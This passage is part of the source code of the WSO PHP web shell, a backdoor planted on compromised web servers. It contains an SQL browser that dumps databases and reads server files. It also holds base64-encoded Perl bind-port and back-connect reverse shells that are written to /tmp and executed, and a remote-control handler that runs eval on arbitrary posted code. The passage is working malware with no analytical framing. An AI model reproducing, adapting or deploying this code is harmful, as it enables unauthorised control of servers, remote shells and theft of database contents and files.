1324 $head = true;
1325 while($item = $this->fetch()) {
1326 $sql = '';
1327 if($i % 1000 == 0) {
1328 $head = true;
1329 $sql = ";\n\n";
1330 }
1331
1332 $columns = array();
1333 foreach($item as $k=>$v) {
1334 if($v === null)
1335 $item[$k] = "NULL";
1336 elseif(is_int($v))
1337 $item[$k] = $v;
1338 else
1339 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1340 $columns[] = "`".$k."`";
1341 }
1342 if($head) {
1343 $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
1344 $head = false;
1345 } else
1346 $sql .= "\n\t,(".implode(", ", $item).')';
1347 if($fp) fwrite($fp, $sql); else echo($sql);
1348 $i++;
1349 }
1350 if(!$head)
1351 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
1352 break;
1353 case 'pgsql':
1354 $this->query('SELECT * FROM '.$table);
1355 while($item = $this->fetch()) {
1356 $columns = array();
1357 foreach($item as $k=>$v) {
1358 $item[$k] = "'".addslashes($v)."'";
1359 $columns[] = $k;
1360 }
1361 $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1362 if($fp) fwrite($fp, $sql); else echo($sql);
1363 }
1364 break;
1365 }
1366 return false;
1367 }
1368 };
1369 $db = new DbClass($_POST['type']);
1370 if(@$_POST['p2']=='download') {
1371 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1372 $db->selectdb($_POST['sql_base']);
1373 switch($_POST['charset']) {
1374 case "Windows-1251": $db->setCharset('cp1251'); break;
1375 case "UTF-8": $db->setCharset('utf8'); break;
1376 case "KOI8-R": $db->setCharset('koi8r'); break;
1377 case "KOI8-U": $db->setCharset('koi8u'); break;
1378 case "cp866": $db->setCharset('cp866'); break;
1379 }
1380 if(empty($_POST['file'])) {
1381 ob_start("ob_gzhandler", 4096);
1382 header("Content-Disposition: attachment; filename=dump.sql");
1383 header("Content-Type: text/plain");
1384 foreach($_POST['tbl'] as $v)
1385 $db->dump($v);
1386 exit;
1387 } elseif($fp = @fopen($_POST['file'], 'w')) {
1388 foreach($_POST['tbl'] as $v)
1389 $db->dump($v, $fp);
1390 fclose($fp);
1391 unset($_POST['p2']);
1392 } else
1393 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1394 }
1395 wsoHeader();
1396 echo "
1397<h1>Sql browser</h1><div class=content>
1398<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1399<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1400<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1401<td><select name='type'><option value='mysql' ";
1402 if(@$_POST['type']=='mysql')echo 'selected';
1403echo ">MySql</option><option value='pgsql' ";
1404if(@$_POST['type']=='pgsql')echo 'selected';
1405echo ">PostgreSql</option></select></td>
1406<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
1407<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
1408<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
1409 $tmp = "<input type=text name=sql_base value=''>";
1410 if(isset($_POST['sql_host'])){
1411 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1412 switch($_POST['charset']) {
1413 case "Windows-1251": $db->setCharset('cp1251'); break;
1414 case "UTF-8": $db->setCharset('utf8'); break;
1415 case "KOI8-R": $db->setCharset('koi8r'); break;
1416 case "KOI8-U": $db->setCharset('koi8u'); break;
1417 case "cp866": $db->setCharset('cp866'); break;
1418 }
1419 $db->listDbs();
1420 echo "<select name=sql_base><option value=''></option>";
1421 while($item = $db->fetch()) {
1422 list($key, $value) = each($item);
1423 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1424 }
1425 echo '</select>';
1426 }
1427 else echo $tmp;
1428 }else
1429 echo $tmp;
1430 echo "</td>
1431 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1432 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
1433 </tr>
1434 </table>
1435 <script>
1436 s_db='".@addslashes($_POST['sql_base'])."';
1437 function fs(f) {
1438 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1439 if(f.p1) f.p1.value='';
1440 if(f.p2) f.p2.value='';
1441 if(f.p3) f.p3.value='';
1442 }
1443 }
1444 function st(t,l) {
1445 d.sf.p1.value = 'select';
1446 d.sf.p2.value = t;
1447 if(l && d.sf.p3) d.sf.p3.value = l;
1448 d.sf.submit();
1449 }
1450 function is() {
1451 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1452 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1453 }
1454 </script>";
1455 if(isset($db) && $db->link){
1456 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1457 if(!empty($_POST['sql_base'])){
1458 $db->selectdb($_POST['sql_base']);
1459 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1460 $tbls_res = $db->listTables();
1461 while($item = $db->fetch($tbls_res)) {
1462 list($key, $value) = each($item);
1463 if(!empty($_POST['sql_count']))
1464 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1465 $value = htmlspecialchars($value);
1466 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
1467 }
1468 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1469 if(@$_POST['p1'] == 'select') {
1470 $_POST['p1'] = 'query';
1471 $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
1472 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1473 $num = $db->fetch();
1474 $pages = ceil($num['n'] / 30);
1475 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1476 echo " of $pages";
1477 if($_POST['p3'] > 1)
1478 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
1479 if($_POST['p3'] < $pages)
1480 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
1481 $_POST['p3']--;
1482 if($_POST['type']=='pgsql')
1483 $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1484 else
1485 $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1486 echo "<br><br>";
1487 }
1488 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1489 $db->query(@$_POST['p2']);
1490 if($db->res !== false) {
1491 $title = false;
1492 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1493 $line = 1;
1494 while($item = $db->fetch()) {
1495 if(!$title) {
1496 echo '<tr>';
1497 foreach($item as $key => $value)
1498 echo '<th>'.$key.'</th>';
1499 reset($item);
1500 $title=true;
1501 echo '</tr><tr>';
1502 $line = 2;
1503 }
1504 echo '<tr class="l'.$line.'">';
1505 $line = $line==1?2:1;
1506 foreach($item as $key => $value) {
1507 if($value == null)
1508 echo '<td><i>null</i></td>';
1509 else
1510 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1511 }
1512 echo '</tr>';
1513 }
1514 echo '</table>';
1515 } else {
1516 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1517 }
1518 }
1519 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1520 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
1521 echo htmlspecialchars($_POST['p2']);
1522 echo "</textarea><br/><input type=submit value='Execute'>";
1523 echo "</td></tr>";
1524 }
1525 echo "</table></form><br/>";
1526 if($_POST['type']=='mysql') {
1527 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1528 if($db->fetch())
1529 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1530 }
1531 if(@$_POST['p1'] == 'loadfile') {
1532 $file = $db->loadFile($_POST['p2']);
1533 echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1534 }
1535 } else {
1536 echo htmlspecialchars($db->error());
1537 }
1538 echo '</div>';
1539 wsoFooter();
1540}
1541function actionNetwork() {
1542 wsoHeader();
1543 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1544 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1545 echo "<h1>Network tools</h1><div class=content>
1546 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1547 <span>Bind port to /bin/sh [perl]</span><br/>
1548 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1549 </form>
1550 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1551 <span>Back-connect [perl]</span><br/>
1552 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1553 </form><br>";
1554 if(isset($_POST['p1'])) {
1555 function cf($f,$t) {
1556 $w = @fopen($f,"w") or @function_exists('file_put_contents');
1557 if($w){
1558 @fwrite($w,@base64_decode($t));
1559 @fclose($w);
1560 }
1561 }
1562 if($_POST['p1'] == 'bpp') {
1563 cf("/tmp/bp.pl",$bind_port_p);
1564 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1565 sleep(1);
1566 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1567 unlink("/tmp/bp.pl");
1568 }
1569 if($_POST['p1'] == 'bcp') {
1570 cf("/tmp/bc.pl",$back_connect_p);
1571 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1572 sleep(1);
1573 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1574 unlink("/tmp/bc.pl");
1575 }
1576 }
1577 echo '</div>';
1578 wsoFooter();
1579}
1580function actionRC() {
1581 if(!@$_POST['p1']) {
1582 $a = array(
1583 "uname" => php_uname(),
1584 "php_version" => phpversion(),
1585 "wso_version" => WSO_VERSION,
1586 "safemode" => @ini_get('safe_mode')
1587 );
1588 echo serialize($a);
1589 } else {
1590 eval($_POST['p1']);
1591 }
1592}
1593if( empty($_POST['a']) )
1594 if(isset($default_action) && function_exists('action' . $default_action))
1595 $_POST['a'] = $default_action;
1596 else
1597 $_POST['a'] = 'SecInfo';
1598if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1599 call_user_func('action' . $_POST['a']);
1600exit;